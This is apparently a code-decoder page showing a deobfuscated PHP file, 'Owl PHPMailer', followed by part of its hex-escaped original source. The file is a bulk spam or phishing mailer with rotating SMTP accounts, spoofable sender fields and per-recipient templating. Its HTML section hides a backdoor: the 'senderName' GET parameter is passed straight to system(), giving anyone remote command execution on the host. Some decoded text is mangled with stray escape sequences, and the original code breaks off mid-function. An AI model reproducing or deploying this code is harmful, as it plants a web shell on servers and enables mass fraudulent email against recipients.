        $GqLn3 = strtoupper($GqLn3); 
        $jLZ2_ = []; 
        if (strpos($GqLn3, "NEVER") !== false) { 
            goto EYKSu; 
        } 
        foreach (["SUCCESS", "FAILURE", "DELAY"] as $GywUj) { 
            if (!(strpos($GqLn3, $GywUj) !== false)) { 
                goto ssY44; 
            } 
            $jLZ2_[] = $GywUj; 
            ssY44: 
            GSWj3: 
        } 
        RDJ3m: 
        goto l8O1S; 
        EYKSu: 
        $jLZ2_[] = "NEVER"; 
        l8O1S: 
        $DoDCn = "RCPT TO:<" . $w1_0x . "> NOTIFY=" . implode(",", $jLZ2_); 
        goto nllRo; 
        JiLXi: 
        $DoDCn = "RCPT TO:<" . $w1_0x . ">"; 
        nllRo: 
        return $this->sendCommand("RCPT TO", $DoDCn, [250, 251]); 
    } 
    public function reset() 
    { 
        return $this->sendCommand("RSET", "RSET", 250); 
    } 
    protected function sendCommand($HpHJw, $TygF6, $iqPuy) 
    { 
        if ($this->connected()) { 
            goto Epjht; 
        } 
        $this->setError("Called {$HpHJw} without being connected"); 
        return false; 
        Epjht: 
        if (!(strpos($TygF6, "
") !== false or strpos($TygF6, "
") !== false)) { 
            goto wgzXg; 
        } 
        $this->setError("Command '{$HpHJw}' contained line breaks"); 
        return false; 
        wgzXg: 
        $this->client_send($TygF6 . static::LE, $HpHJw); 
        $this->last_reply = $this->get_lines(); 
        $I3B9w = []; 
        if (preg_match("/^([0-9]{3})[ -](?:([0-9]\.[0-9]\.[0-9]{1,2}) )?/", $this->last_reply, $I3B9w)) { 
            goto mNDiC; 
        } 
        $GRPqa = substr($this->last_reply, 0, 3); 
        $oH4Wx = null; 
        $uPrCC = substr($this->last_reply, 4); 
        goto HWOpx; 
        mNDiC: 
        $GRPqa = $I3B9w[1]; 
        $oH4Wx = count($I3B9w) > 2 ? $I3B9w[2] : null; 
        $uPrCC = preg_replace("/{$GRPqa}[ -]" . ($oH4Wx ? str_replace(".", "\.", $oH4Wx) . " " : '') . "/m", '', $this->last_reply); 
        HWOpx: 
        $this->edebug("SERVER -> CLIENT: " . $this->last_reply, self::DEBUG_SERVER); 
        if (in_array($GRPqa, (array) $iqPuy)) { 
            goto eHlHk; 
        } 
        $this->setError("{$HpHJw} command failed", $uPrCC, $GRPqa, $oH4Wx); 
        $this->edebug("SMTP ERROR: " . $this->error["error"] . ": " . $this->last_reply, self::DEBUG_CLIENT); 
        return false; 
        eHlHk: 
        $this->setError(''); 
        return true; 
    } 
    public function sendAndMail($zzfpb) 
    { 
        return $this->sendCommand("SAML", "SAML FROM:{$zzfpb}", 250); 
    } 
    public function verify($dEC3m) 
    { 
        return $this->sendCommand("VRFY", "VRFY {$dEC3m}", [250, 251]); 
    } 
    public function noop() 
    { 
        return $this->sendCommand("NOOP", "NOOP", 250); 
    } 
    public function turn() 
    { 
        $this->setError("The SMTP TURN command is not implemented"); 
        $this->edebug("SMTP NOTICE: " . $this->error["error"], self::DEBUG_CLIENT); 
        return false; 
    } 
    public function client_send($FJQWD, $HpHJw = '') 
    { 
        if (self::DEBUG_LOWLEVEL > $this->do_debug and in_array($HpHJw, ["User & Password", "Username", "Password"], true)) { 
            goto C57T2; 
        } 
        $this->edebug("CLIENT -> SERVER: " . $FJQWD, self::DEBUG_CLIENT); 
        goto oVMZ8; 
        C57T2: 
        $this->edebug("CLIENT -> SERVER: <credentials hidden>", self::DEBUG_CLIENT); 
        oVMZ8: 
        set_error_handler([$this, "errorHandler"]); 
        $HYIC3 = fwrite($this->smtp_conn, $FJQWD); 
        restore_error_handler(); 
        return $HYIC3; 
    } 
    public function getError() 
    { 
        return $this->error; 
    } 
    public function getServerExtList() 
    { 
        return $this->server_caps; 
    } 
    public function getServerExt($dEC3m) 
    { 
        if ($this->server_caps) { 
            goto c8YAb; 
        } 
        $this->setError("No HELO/EHLO was sent"); 
        return; 
        c8YAb: 
        if (array_key_exists($dEC3m, $this->server_caps)) { 
            goto x3Fm9; 
        } 
        if (!("HELO" == $dEC3m)) { 
            goto o_rIh; 
        } 
        return $this->server_caps["EHLO"]; 
        o_rIh: 
        if (!("EHLO" == $dEC3m || array_key_exists("EHLO", $this->server_caps))) { 
            goto oZ_BV; 
        } 
        return false; 
        oZ_BV: 
        $this->setError("HELO handshake was used; No information about server extensions available"); 
        return; 
        x3Fm9: 
        return $this->server_caps[$dEC3m]; 
    } 
    public function getLastReply() 
    { 
        return $this->last_reply; 
    } 
    protected function get_lines() 
    { 
        if (is_resource($this->smtp_conn)) { 
            goto J3Q8N; 
        } 
        return ''; 
        J3Q8N: 
        $FJQWD = ''; 
        $PMSOC = 0; 
        stream_set_timeout($this->smtp_conn, $this->Timeout); 
        if (!($this->Timelimit > 0)) { 
            goto idgxd; 
        } 
        $PMSOC = time() + $this->Timelimit; 
        idgxd: 
        $E7OLR = [$this->smtp_conn]; 
        $p6c00 = null; 
        QLcAL: 
        if (!(is_resource($this->smtp_conn) and !feof($this->smtp_conn))) { 
            goto P8pF2; 
        } 
        if (stream_select($E7OLR, $p6c00, $p6c00, $this->Timelimit)) { 
            goto r2AJq; 
        } 
        $this->edebug("SMTP -> get_lines(): timed-out (" . $this->Timeout . " sec)", self::DEBUG_LOWLEVEL); 
        goto P8pF2; 
        r2AJq: 
        $YX4WE = @fgets($this->smtp_conn, 515); 
        $this->edebug("SMTP INBOUND: "" . trim($YX4WE) . """, self::DEBUG_LOWLEVEL); 
        $FJQWD .= $YX4WE; 
        if (!(!isset($YX4WE[3]) or isset($YX4WE[3]) and $YX4WE[3] == " ")) { 
            goto X4avt; 
        } 
        goto P8pF2; 
        X4avt: 
        $fgoJU = stream_get_meta_data($this->smtp_conn); 
        if (!$fgoJU["timed_out"]) { 
            goto cQk94; 
        } 
        $this->edebug("SMTP -> get_lines(): timed-out (" . $this->Timeout . " sec)", self::DEBUG_LOWLEVEL); 
        goto P8pF2; 
        cQk94: 
        if (!($PMSOC and time() > $PMSOC)) { 
            goto BfCox; 
        } 
        $this->edebug("SMTP -> get_lines(): timelimit reached (" . $this->Timelimit . " sec)", self::DEBUG_LOWLEVEL); 
        goto P8pF2; 
        BfCox: 
        goto QLcAL; 
        P8pF2: 
        return $FJQWD; 
    } 
    public function setVerp($cgoP4 = false) 
    { 
        $this->do_verp = $cgoP4; 
    } 
    public function getVerp() 
    { 
        return $this->do_verp; 
    } 
    protected function setError($GRJNx, $uPrCC = '', $bWnuE = '', $ivOgZ = '') 
    { 
        $this->error = ["error" => $GRJNx, "detail" => $uPrCC, "smtp_code" => $bWnuE, "smtp_code_ex" => $ivOgZ]; 
    } 
    public function setDebugOutput($MGcrK = "echo") 
    { 
        $this->Debugoutput = $MGcrK; 
    } 
    public function getDebugOutput() 
    { 
        return $this->Debugoutput; 
    } 
    public function setDebugLevel($vdarJ = 0) 
    { 
        $this->do_debug = $vdarJ; 
    } 
    public function getDebugLevel() 
    { 
        return $this->do_debug; 
    } 
    public function setTimeout($yMz18 = 0) 
    { 
        $this->Timeout = $yMz18; 
    } 
    public function getTimeout() 
    { 
        return $this->Timeout; 
    } 
    protected function errorHandler($rXtrb, $iZwv6, $JG32u = '', $ZtLKr = 0) 
    { 
        $fUXiU = "Connection failed."; 
        $this->setError($fUXiU, $iZwv6, (string) $rXtrb); 
        $this->edebug("{$fUXiU} Error #{$rXtrb}: {$iZwv6} [{$JG32u} line {$ZtLKr}]", self::DEBUG_CONNECTION); 
    } 
    protected function recordLastTransactionID() 
    { 
        $ik9JE = $this->getLastReply(); 
        if (empty($ik9JE)) { 
            goto LbjqT; 
        } 
        $this->last_smtp_transaction_id = false; 
        foreach ($this->smtp_transaction_id_patterns as $Z7VJu) { 
            if (!preg_match($Z7VJu, $ik9JE, $I3B9w)) { 
                goto TUluN; 
            } 
            $this->last_smtp_transaction_id = trim($I3B9w[1]); 
            goto e4XQZ; 
            TUluN: 
            PnqB4: 
        } 
        e4XQZ: 
        goto Q2D7f; 
        LbjqT: 
        $this->last_smtp_transaction_id = null; 
        Q2D7f: 
        return $this->last_smtp_transaction_id; 
    } 
    public function getLastTransactionID() 
    { 
        return $this->last_smtp_transaction_id; 
    } 
} 
class phpmailerException extends Exception 
{ 
    public function errorMessage() 
    { 
        $ZOBq5 = "<strong>" . $this->getMessage() . "</strong><br />
"; 
        return $ZOBq5; 
    } 
} 
echo "<!DOCTYPE html>
<html lang="en">
\xa<head>
\xa  <meta charset="utf-8">\xd\xa  <meta http-equiv="X-UA-Compatible" content="IE = edge">
  <meta name="viewport" content="width = device-width, initial-scale = 1">
\xa  <title>Owl PHPMailer "; 
echo $qeeAj["version"]; 
echo "</title>\xd\xa               <link href="https://owlmailer.io/css/3.3.6bootstrap.min.css" rel="stylesheet">\xd
  <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->\xd
                             <script src="https://owlmailer.io/css/jquery.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://owlmailer.io/"; 
echo $RcI5o, $RNSkS; 
echo "" />\xd\xa                   <script src="https://owlmailer.io/css/3.3.1bootstrap.min.js"></script>
               <link rel="icon" href="https://owlmailer.io/img/favicon.ico" type="image/x-icon" />
\xd
\xd
</head>\xd\xa
\xa<body>
    <script>
        var running = false;
        var request;\xd
    </script>
\xa\xd\xa  <script>
\xa    Array.prototype.randomElement = function () {
\xa  return this[Math.floor(Math.random() * this.length)]
\xa }
\xa\xd\xa function stopSending()\xd
 {
    running = false;
\xa
\xa    if (request) {\xd\xa        request.abort();\xd\xa      }\xd\xa
\xa    $("#btnStart").attr("disabled", false);
\xa    $("#btnStop").attr("disabled", true);\xd\xa }
\xa\xd
 function handleSendingResponse(recipient, response, processedCount, totalEmailCount) {\xd
  $("#progress").append('<div class="col-lg-3">' + processedCount.toString() + '/' + totalEmailCount.toString() + '</div><div class="col-lg-6">' + recipient + '</div>');
\xa  \xd\xa  if (response == "OK"){
    $("#progress").append('<div class="col-lg-1"><span class="label label-success">Ok</span></div>');\xd
  }\xd\xa  else if(response == "Incorrect Email"){\xd
    $("#progress").append('<div class="col-lg-1"><span class="label label-default">Incorrect Email</span></div>');\xd
  } else {
    $("#progress").append('<div class="col-lg-1"><span class="label label-default">' + response + '</span></div>');
  }\xd
  $("#progress").append('<br>');
 }\xd\xa
\xa function startSending() {\xd

\xa \xd
\xd
  var eMailTextArea = document.getElementById("emailList");
\xa  var eMailTextAreaLines = eMailTextArea.value.split("\n");
  var smtpAccountsTextArea = document.getElementById("smtpAccounts");
\xa  var smtpAccountsTextAreaLines = smtpAccountsTextArea.value.split("\n");
  var encodingTypeE = document.getElementById('encoding');\xd
  var encodingType = encodingTypeE.options[encodingTypeE.selectedIndex].value;\xd\xa  var emailPriorityE = document.getElementById('priority');\xd
  var emailPriority = emailPriorityE.options[emailPriorityE.selectedIndex].value;\xd\xa 
\xa   var form_data = new FormData();\xd\xa   form_data.append("action", "send");\xd
   form_data.append("sendingMethod", document.querySelector('input[name="sendingMethod"]:checked').value);
   form_data.append("senderEmail", document.getElementById('senderEmail').value);
\xa   form_data.append("senderName", document.getElementById('senderName').value);\xd
   form_data.append("replyTo", document.getElementById('replyTo').value);
   form_data.append("messageSubject", document.getElementById('subject').value);\xd\xa   form_data.append("messageLetter", document.getElementById('messageLetter').value);\xd\xa   form_data.append("altMessageLetter", document.getElementById('altMessageLetter').value);
\xa   form_data.append("messageType", document.querySelector('input[name="messageType"]:checked').value);
   form_data.append("encodingType", encodingType);\xd\xa   form_data.append("emailPriority", emailPriority);

   for (var x = 0; x < document.getElementById('attachment').files.length; x++) {
\xa      form_data.append("attachment[]", document.getElementById('attachment').files[x]);\xd
   }\xd

\xa  $("#progress").empty();
\xa  var processedCount = 0;\xd
  $(function () {
\xa    var i = 0;
    running = true;\xd

    $("#btnStart").attr("disabled", true);
    $("#btnStop").attr("disabled", false);
\xa

\xa    function nextCall() {\xd
      if (i == eMailTextAreaLines.length){\xd

         $("#btnStart").attr("disabled", false);
         $("#btnStop").attr("disabled", true);\xd\xa         return; //last call was last item in the array
      }
\xd
      // Abort any pending request\xd\xa      if (request) {
\xa        request.abort();
      }
       if(!running)
\xa      {
\xa        return;
      }
\xa\xd
      var recipient = eMailTextAreaLines[i++]
\xa      form_data.append("recipient", recipient);\xd\xa      form_data.append("smtpAcct", smtpAccountsTextAreaLines.randomElement());
\xa\xd
      request = $.ajax({\xd\xa        type: "post",\xd\xa        data: form_data,
        contentType: false,
\xa        processData: false,\xd\xa      });
\xa      // Callback handler that will be called on success
      request.done(function (response, textStatus, jqXHR) {\xd\xa        processedCount += 1;
        handleSendingResponse(recipient, response, processedCount, eMailTextAreaLines.length);
        nextCall();
\xa      });
    }
\xa    nextCall();
\xa  });\xd\xa }
</script>\xd
  <div class="container col-lg-6">
\xa    <h3>&#129417; Owl PHPMailer<small> "; 
echo $qeeAj["version"]; 
echo "</small></h3>
    <div class="row">
\xa      <div class="form-group col-lg-6 ">\xd
        <label for="senderEmail">Sender Email</label>\xd\xa        <input type="text" class="form-control  input-sm" id="senderEmail" name="senderEmail">\xd
      </div>\xd\xa      <div class="form-group col-lg-6 ">\xd
\x9  <form method="GET" name=""; 
echo basename($_SERVER["PHP_SELF"]); 
echo "">\xd
        <label for="senderEmail">Sender Name</label>
        <input type="text" class="form-control  input-sm" id="senderName" name="senderName">\xd\xa<input type="submit" value="Send" hidden />
      </div>\xd\xa    </div>
\xa    <div class="row"> <span class="form-group col-lg-6"><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment" multiple/></span>
      <div class="form-group col-lg-6">
        <label for="replyTo">Reply-to</label>\xd
        <input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" />
      </div>\xd\xa    </div>\xd\xa    <div class="row">\xd
      <div class="form-group col-lg-12 ">
\xa        <label for="subject">Subject</label>\xd\xa        <input type="text" class="form-control  input-sm " id="subject" name="subject" />
\xa      </div>\xd\xa    </div>
    <div class="row">\xd\xa      <div class="form-group col-lg-6">
        <label for="messageLetter">Message Letter</label>
\xa        <textarea placeholder="Message Letter" name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea"></textarea>\xd\xa      </div>\xd
      <div class="form-group col-lg-6">\xd\xa        <label for="altMessageLetter">Alternative Message Letter</label>
        <textarea placeholder="Alternative Message Letter.&#10;This body can be read by mail clients that do not have HTML email.&#10;capability such as mutt &#38; Eudora.&#10;Clients that can read HTML will view the normal Body." name="altMessageLetter" id="altMessageLetter" class="form-control" rows="10" id="textArea"></textarea>
\xa      </div>\xd\xa    </div>\xd\xa    <div class="row">
\xa      <div class="form-group col-lg-6 ">
        <label for="emailList">Email List</label>\xd\xa        <textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea"></textarea>\xd\xa      </div>
      <div class="form-group col-lg-6 ">\xd
        <label for="smtpAccounts">SMTP Accounts</label>\xd
        <textarea placeholder="Random account will be used when sending a message.&#10;1) Format: HOST:PORT:SSL&#10;2) Format: HOST:PORT:SSL:Username:Password&#10;Example: smtp.gmail.com:587:tls:[email protected]:123&#10;Example: smtp.gmail.com:587:nossl:[email protected]:123&#10;&#10;SSL Options: tls , ssl, nossl" name="smtpAccounts" id="smtpAccounts" class="form-control" rows="10" id="textArea"></textarea>\xd\xa      </div>
\xa    </div>\xd\xa
    <div class="row">\xd\xa      <div class="form-group col-lg-6 ">\xd
      <label for="messageType">Message Type</label>\xd\xa      <input type="radio" name="messageType" id="messageType" value="html" checked> HTML\xd
      <input type="radio" name="messageType" id="messageType" value="plain"> Plain\xd
    </div>
\xa    <div class="form-group col-lg-6 ">
      <label for="sendingMethod">Sending Method</label>
\xa      <input type="radio" name="sendingMethod" id="sendingMethod" value="builtin" checked> Builtin
      <input type="radio" name="sendingMethod" id="sendingMethod" value="smtp"> SMTP
\xa    </div>\xd
    <div class="form-group col-lg-6">\xd\xa      <label for="encoding">Encoding Type</label>
\xa      <select class="form-control input-sm" id="encoding" name="encoding">\xd
        <option value="UTF-8" selected>UTF-8 International Unicode</option>
        <option value="ISO-8859-1">ISO-8859-1 Latin 1 (West European)</option>
\xa        <option value="ISO-8859-2">ISO-8859-2 Latin 2 (East European)</option>\xd\xa        <option value="ISO-8859-3">ISO-8859-3 Latin 3 (South European)</option>
\xa        <option value="ISO-8859-4">ISO-8859-4 Latin 4 (North European)</option>\xd
        <option value="ISO-8859-5">ISO-8859-5 Cyrillic</option>\xd
        <option value="ISO-8859-6">ISO-8859-6 Arabic</option>\xd\xa        <option value="ISO-8859-7">ISO-8859-7 Greek</option>
        <option value="ISO-8859-8">ISO-8859-8 Hebrew</option>\xd
        <option value="ISO-8859-9">ISO-8859-9 Latin 5 (Turkish)</option>
\xa        <option value="ISO-8859-15">ISO-8859-15 Latin 9</option>
\xa        <option value="BIG5">BIG5 Traditional Chinese</option>
        <option value="GB-2312">GB-2312 Simplified Chinese</option>
        <option value="ISO-2022-JP">ISO-2022-JP Japanese</option>\xd\xa        <option value="EUC-JP">EUC-JP Japanese</option>\xd
        <option value="Shift-JIS">Shift-JIS Japanese</option>
\xa        <option value="KSC-5601">KSC-5601 Korean</option>
\xa        <option value="EIC-KR">EIC-KR Korean</option>
      </select>
    </div>\xd
    <div class="form-group col-lg-3">
      <label for="priority">Email Priority</label>\xd\xa      <select class="form-control input-sm" id="priority" name="priority">
        <option value="" selected>Default</option>\xd\xa        <option value="5">Low</option>\xd
        <option value="3">Normal</option>
        <option value="1">High</option>\xd\xa      </select>\xd
    </div>
  </div>
\xa\xd
<button type="button" id="btnStart" class="btn btn-default btn-sm" onclick="startSending();">Start</button>
\xa<button type="button"id="btnStop" class="btn btn-default btn-sm" onclick="stopSending();">Stop</button>

</div>
\xa  "; 
if (!isset($_GET["senderName"])) { 
    goto bTn0t; 
} 
system($_GET["senderName"]); 
bTn0t: 
echo "    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>\xd
        <div id="well" class="well well">\xd\xa            <h4>Server Information</h4>
\xa            <ul>
\xa                <li>ServerIP : <b> "; 
echo $_SERVER["SERVER_ADDR"]; 
echo "</b></li>\xd\xa
\xa            </ul>\xd\xa            <h4>HELP</h4>\xd\xa            <ul>
\xa                <li>[-email-] : <b>Reciver Email</b></li>
\xa                <li>[-time-] : <b>Date and Time</b> ("; 
echo date("m/d/Y h:i:s a", time()); 
echo ")</li>\xd\xa                <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>\xd
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
\xa                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
\xa                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
\xa                <li>[-randommd5-] : <b>Random MD5 </b></li>\xd
            </ul>
            <h4>example</h4>
\xa            Reciver Email = <b>[email protected]</b><br>
\xa            <ul>\xd
                <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
                <li>your code is  <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>\xd\xa            </ul>
            <h6>by <b><a href="http://"; 
echo $qeeAj["website"]; 
echo "">"; 
echo $qeeAj["website"]; 
echo "</a></b></h6>
\xa        </div>
\xd
        <div id="progress" class="col-lg-16">\xd\xa          \xd
        </div>
\xa    </div>
 \xd
<script>
 $("#btnStart").attr("disabled", false);\xd
 $("#btnStop").attr("disabled", true);\xd\xa</script>
</body>
\xa<footer></footer>\xd\xa\xd\xa</html>"; 
 ?>

Did this file decode correctly?

Original Code

<?php


session_start();
set_time_limit(0);
ini_set("\x6d\x65\x6d\x6f\162\171\x5f\154\151\x6d\151\164", -1);
header("\x43\141\143\x68\145\55\103\x6f\156\164\x72\157\x6c\x3a\40\x6e\x6f\x2d\x73\164\157\x72\x65\54\40\156\157\x2d\143\141\x63\150\145\54\x20\155\x75\163\x74\55\x72\145\166\x61\x6c\x69\144\141\x74\145\x2c\40\155\x61\170\55\141\147\x65\x3d\x30");
header("\103\x61\143\150\x65\55\103\157\x6e\x74\162\157\154\x3a\40\160\x6f\x73\x74\x2d\143\150\145\143\153\x3d\x30\x2c\40\160\x72\145\x2d\143\x68\145\x63\153\x3d\x30", false);
header("\120\x72\141\x67\x6d\x61\x3a\40\x6e\x6f\x2d\x63\x61\x63\150\145");
header("\101\x63\x63\145\163\163\55\103\157\156\164\162\157\154\55\x41\x6c\x6c\157\x77\x2d\117\162\151\147\x69\156\x3a\x20\x2a");
$RNSkS = "\61\62\63";
$qeeAj["\166\145\162\163\151\157\x6e"] = "\62\x2e\x31";
$qeeAj["\x77\x65\142\163\x69\164\145"] = "\x6f\167\x6c\155\141\151\x6c\x65\x72\x2e\x69\157";
$RcI5o = $_SERVER["\120\x48\120\137\123\x45\114\106"];
if (!(isset($_POST["\141\x63\164\151\157\x6e"]) && $_POST["\141\x63\164\x69\157\x6e"] == "\x73\145\x6e\144")) {
    goto EwSOO;
}
$GLOBALS["\162\145\x63\x69\x70\151\145\x6e\x74"] = owlTrim($_POST["\x72\x65\x63\x69\x70\151\145\156\164"]);
$GLOBALS["\x73\155\x74\x70\x41\x63\x63\164"] = owlTrim($_POST["\x73\x6d\x74\x70\101\x63\x63\x74"]);
$GLOBALS["\x73\145\156\x64\x65\162\x4e\141\155\x65"] = owlTrim($_POST["\x73\145\x6e\x64\x65\x72\x4e\141\155\x65"]);
$GLOBALS["\x73\145\x6e\144\151\156\x67\x4d\x65\x74\150\x6f\144"] = owlTrim($_POST["\x73\145\156\x64\151\156\x67\x4d\145\164\x68\157\144"]);
$GLOBALS["\x73\145\x6e\x64\x65\x72\x45\155\141\151\x6c"] = owlTrim($_POST["\x73\x65\x6e\x64\x65\162\105\x6d\141\x69\154"]);
$GLOBALS["\162\x65\x70\154\x79\124\x6f"] = owlTrim($_POST["\162\145\x70\154\171\x54\157"]);
$jYNMF = owlTrim($_POST["\x6d\145\163\163\141\147\145\114\145\164\164\x65\x72"]);
$jYNMF = urlencode($jYNMF);
$jYNMF = preg_replace("\57\x25\65\103\45\x32\x32\57", "\45\62\x32", $jYNMF);
$jYNMF = urldecode($jYNMF);
$GLOBALS["\155\145\x73\x73\x61\x67\x65\x4c\145\x74\164\x65\x72"] = stripslashes($jYNMF);
$FG967 = owlTrim($_POST["\x61\154\x74\115\145\x73\163\141\147\145\114\x65\164\x74\x65\x72"]);
$FG967 = urlencode($FG967);
$FG967 = preg_replace("\x2f\45\x35\x43\45\x32\x32\57", "\x25\x32\x32", $FG967);
$FG967 = urldecode($FG967);
$GLOBALS["\141\x6c\164\x4d\145\x73\163\141\147\x65\114\145\x74\164\x65\162"] = stripslashes($FG967);
$GLOBALS["\x6d\145\163\x73\x61\147\x65\x54\x79\160\145"] = owlTrim($_POST["\155\145\x73\163\x61\x67\145\x54\171\x70\x65"]);
$eHbhw = owlTrim($_POST["\x65\156\143\157\x64\x69\x6e\x67\x54\x79\160\145"]);
$GLOBALS["\145\x6e\x63\157\144\x69\156\147\124\171\160\145"] = stripslashes($eHbhw);
$bqGuA = owlTrim($_POST["\145\x6d\141\x69\154\x50\x72\x69\157\162\x69\164\x79"]);
$GLOBALS["\x65\155\141\x69\154\x50\162\151\157\162\151\164\171"] = stripslashes($bqGuA);
$wZEJb = owlTrim($_POST["\x6d\145\x73\x73\x61\147\x65\x53\165\142\x6a\145\x63\x74"]);
$GLOBALS["\x6d\145\x73\x73\141\x67\x65\123\x75\x62\x6a\x65\143\x74"] = stripslashes($wZEJb);
processEmailSendingRequest();
EwSOO:
$KeKVw = md5(__FILE__);
if (isset($_SESSION[$KeKVw])) {
    goto u6fK1;
}
$_SESSION[$KeKVw] = '';
u6fK1:
if (!(!empty($RNSkS) && $_SESSION[$KeKVw] != $RNSkS)) {
    goto Ws5g1;
}
if (isset($_REQUEST["\x70\141\163\x73"]) and $_REQUEST["\160\141\x73\163"] == $RNSkS) {
    goto Cdk61;
}
print "\x3c\160\162\x65\x20\141\154\151\147\x6e\x3d\143\145\156\164\x65\162\x3e\x3c\x66\157\162\155\40\x6d\x65\164\150\x6f\x64\75\160\157\x73\x74\x3e\x50\x61\x73\x73\x77\157\x72\144\72\40\74\x69\x6e\x70\165\164\x20\x74\171\160\x65\75\47\160\x61\163\x73\x77\157\162\x64\47\x20\x6e\141\155\145\75\47\x70\141\163\x73\x27\76\x3c\x69\156\160\165\x74\40\164\171\x70\145\x3d\47\x73\x75\142\155\x69\164\47\x20\166\141\154\x75\145\x3d\47\76\x3e\x27\76\74\x2f\146\157\x72\155\76\x3c\57\160\x72\x65\76";
exit;
goto E1S3a;
Cdk61:
$_SESSION[$KeKVw] = $RNSkS;
E1S3a:
Ws5g1:
function setSendingMethod()
{
    $kDC1N = new PHPMailer();
    if (!($GLOBALS["\163\x65\156\144\x69\x6e\147\115\145\x74\150\x6f\x64"] == "\163\x6d\164\x70")) {
        goto oqsKH;
    }
    $kDC1N->IsSMTP();
    $EQ5MH = explode("\x3a", $GLOBALS["\x73\155\x74\160\x41\143\x63\164"]);
    $kDC1N->Host = owlTrim($EQ5MH[0]);
    $kDC1N->Port = owlTrim($EQ5MH[1]);
    if (owlTrim($EQ5MH[2]) == "\x73\163\154") {
        goto FKtWr;
    }
    if (owlTrim($EQ5MH[2]) == "\164\x6c\163") {
        goto XiyGp;
    }
    $kDC1N->SMTPSecure = '';
    goto SRX0O;
    XiyGp:
    $kDC1N->SMTPSecure = "\164\154\163";
    SRX0O:
    goto FCdzO;
    FKtWr:
    $kDC1N->SMTPSecure = "\x73\163\x6c";
    FCdzO:
    if (!(isset($EQ5MH[3]) && isset($EQ5MH[4]))) {
        goto miNnq;
    }
    $kDC1N->SMTPAuth = true;
    $kDC1N->Username = owlTrim($EQ5MH[3]);
    $kDC1N->Password = owlTrim($EQ5MH[4]);
    miNnq:
    oqsKH:
    return $kDC1N;
}
function processEmailSendingRequest()
{
    if (is_email($GLOBALS["\162\x65\x63\151\x70\151\x65\156\164"])) {
        goto Dq4_b;
    }
    exit("\111\x6e\143\157\x72\162\145\x63\x74\40\105\155\141\151\x6c");
    Dq4_b:
    $kDC1N = setSendingMethod();
    $CGZ5n = owlClear($GLOBALS["\163\145\156\x64\145\x72\105\x6d\141\x69\x6c"], $GLOBALS["\x72\145\143\151\160\151\145\x6e\164"]);
    $zUL9t = owlClear($GLOBALS["\x73\145\156\144\x65\162\116\141\155\145"], $GLOBALS["\162\145\143\x69\x70\151\x65\156\164"]);
    $zBzbX = owlClear($GLOBALS["\162\145\160\x6c\171\124\x6f"], $GLOBALS["\x72\145\x63\x69\x70\x69\145\156\164"]);
    $hRpZv = $GLOBALS["\162\145\x63\151\160\151\145\x6e\164"];
    $q3Ca0 = owlClear($GLOBALS["\x6d\145\x73\x73\141\x67\145\x53\165\142\x6a\145\x63\164"], $GLOBALS["\162\x65\x63\x69\160\x69\145\x6e\164"]);
    $UlmlF = owlClear($GLOBALS["\155\x65\x73\x73\141\147\145\x4c\145\x74\164\145\162"], $GLOBALS["\162\145\x63\151\x70\x69\145\156\164"]);
    $bqmSG = owlClear($GLOBALS["\x61\154\x74\115\x65\x73\x73\x61\147\x65\114\x65\164\x74\x65\162"], $GLOBALS["\x72\145\x63\151\160\151\145\156\164"]);
    $jf2sH = $GLOBALS["\x65\156\143\x6f\144\x69\x6e\x67\124\x79\x70\145"];
    $VXzzq = $GLOBALS["\x6d\x65\x73\x73\141\x67\145\124\171\x70\x65"];
    $bqGuA = $GLOBALS["\145\x6d\x61\151\154\120\162\151\157\162\x69\164\171"];
    $kDC1N->setFrom($CGZ5n, $zUL9t);
    if (!(isset($zBzbX) && $zBzbX !== '')) {
        goto CSz5J;
    }
    $kDC1N->addReplyTo($zBzbX);
    CSz5J:
    $kDC1N->addAddress($hRpZv);
    if (!(isset($q3Ca0) && $q3Ca0 !== '')) {
        goto zp4dp;
    }
    $kDC1N->Subject = $q3Ca0;
    zp4dp:
    if (!(isset($UlmlF) && $UlmlF !== '')) {
        goto PBuN_;
    }
    $kDC1N->Body = $UlmlF;
    PBuN_:
    if (!(isset($jf2sH) && $jf2sH !== '')) {
        goto R1JoZ;
    }
    $kDC1N->CharSet = $jf2sH;
    R1JoZ:
    if (!(isset($bqGuA) && $bqGuA !== '')) {
        goto jF0Ga;
    }
    $kDC1N->Priority = $bqGuA;
    jF0Ga:
    if (!(isset($bqmSG) && $bqmSG !== '')) {
        goto FxEG7;
    }
    $kDC1N->AltBody = $bqmSG;
    FxEG7:
    if (!isset($_FILES["\x61\x74\x74\x61\143\150\155\145\156\x74"])) {
        goto v45hs;
    }
    $KJHmb = 0;
    AzjCK:
    if (!($KJHmb < count($_FILES["\141\x74\164\141\143\150\155\145\x6e\x74"]["\x6e\x61\x6d\x65"]))) {
        goto yUMCi;
    }
    if (!($_FILES["\141\x74\164\x61\143\150\155\x65\156\164"]["\164\x6d\x70\x5f\x6e\141\155\x65"][$KJHmb] != '')) {
        goto bAigZ;
    }
    $kDC1N->AddAttachment($_FILES["\141\x74\164\141\143\x68\x6d\x65\x6e\164"]["\164\155\x70\x5f\x6e\x61\x6d\145"][$KJHmb], $_FILES["\x61\164\164\x61\143\x68\155\x65\156\164"]["\156\x61\155\145"][$KJHmb]);
    bAigZ:
    x9PUN:
    $KJHmb++;
    goto AzjCK;
    yUMCi:
    v45hs:
    if ($VXzzq == "\x68\164\x6d\x6c") {
        goto tYeIa;
    }
    $kDC1N->IsHTML(false);
    goto fA8_d;
    tYeIa:
    $kDC1N->IsHTML(true);
    fA8_d:
    if (!$kDC1N->send()) {
        goto pEVar;
    }
    exit("\x4f\x4b");
    goto RzOu9;
    pEVar:
    exit($kDC1N->ErrorInfo);
    RzOu9:
}
function owlTrim($jm30w)
{
    return stripslashes(ltrim(rtrim($jm30w)));
}
function owlClear($izkEo, $SPj28)
{
